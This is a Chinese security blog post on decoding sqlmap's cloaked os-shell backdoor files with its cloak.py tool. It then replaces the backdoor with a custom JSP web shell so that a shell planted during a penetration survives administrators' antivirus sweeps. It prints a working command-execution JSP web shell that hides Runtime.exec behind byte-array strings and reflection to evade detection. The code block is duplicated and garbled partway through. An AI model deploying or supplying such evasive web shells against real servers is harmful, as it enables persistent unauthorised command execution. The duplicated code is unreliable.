S0cke3t
文章43
标签29
分类12
Implements custom shell of Sqlmap

Implements custom shell of Sqlmap

起因

今天在公司划水时,无意间看到了一篇关于sqlmap os-shell功能的刨析文章。该文章详细描述了os-shell的具体流程,但是该作者最后在实现自定义shell时翻车了…..
输入图片描述
于是就有了这篇文章
就像该作者所说,这种确实有点多此一举。但是也不是没有用武之地,如果对方网络管理员发现了异常的流量可能会临时上传查杀工具对网站进行木马的查杀,这时植入一个免杀的shell可能会为我们渗透赢得宝贵的时间

实现

虽然sqlmap所使用的shell是以二进制形式存放,但是在我们使用os-shell时必定会进行解密操作,sqlmap首先会加载二进制形式的shell以某种方式进行解码后再进行文件的写入。
sqlmap自带的shell存放于\data\shell\backdoors\
输入图片描述
首先我们可以sqlmap目录中搜索操作backdoor.***_的文件
输入图片描述
其中有关于解码的相关操作位于\lib\core\common.py
输入图片描述
可以看到decloakToTemp接收一个filenam参数并调用decloak函数进行解码,根据返回变量字面意思,猜测返回的为该文件解码后的内容,并且在函数说明部分给出了详细的调用方式。
根据引入声明发现decloack来自于extra.cloak.cloak
输入图片描述
\extra\cloak\cloak.py中,找到了具体的加解密函数
输入图片描述
解密流程大致为:使用定义的KEY调用xor函数进行异或随后使用zlib.decompress进行解码
其中的mian函数还给出了具体的使用方法(真贴心~)
输入图片描述
有了解密文件我们根据参数格式传入相应的参数

参数名 注释
-i 输入文件
-o 输出文件
-d 解密操作[不加此参数则为加密]

这里我以jsp的为例,其他格式的流程一样
输入图片描述
运行完后以后打开backdoor.jsp就可以看到源码了
原始格式
输入图片描述
解码后
输入图片描述 |
通过源码发现就是一个cmd马,那么下面我们就可以将其中具体执行cmd命令的代码替换为我们的免杀的代码或者其他的功能,这里我使用一个反射的cmd马进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
out.print("<pre>");
if(request.getParameter("cmd") != null){
String str = request.getParameter("cmd");
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
Class<?> c = Class.forName(rt);
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);


Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
out.println(result);
}
out.print(<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
out.print("<pre>");
if(request.getParameter("cmd") != null){
String str = request.getParameter("cmd");
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
Class<?> c = Class.forName(rt);
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);


Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
out.println(result);
}
out.print("
");
%>

注意:要想在sqlmap中正常使用os-shell功能,替换的shell接收参数必须和原先的一致
替换完成后同样使用decloak脚本对源码文件加密
输入图片描述
生成backdoor_diy.jsp_加密文件后,将其拷贝到sqlmap的shell目录中 (注意将文件名改为backdoor.jsp_)
最后我们本地起一个java的注入环境进行测试
输入图片描述
使用os-shell进行测试
输入图片描述
功能正常,确认上传的tmpbqlnx.jsp为我们修改后的shell
输入图片描述
木得问题,最后拖入D盾测试一下
输入图片描述

参考

sqlmap os-shell探索

本文作者:S0cke3t
本文链接:https://www.saferoad.cc/Sectool/Implements-custom-shell-of-Sqlmap.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×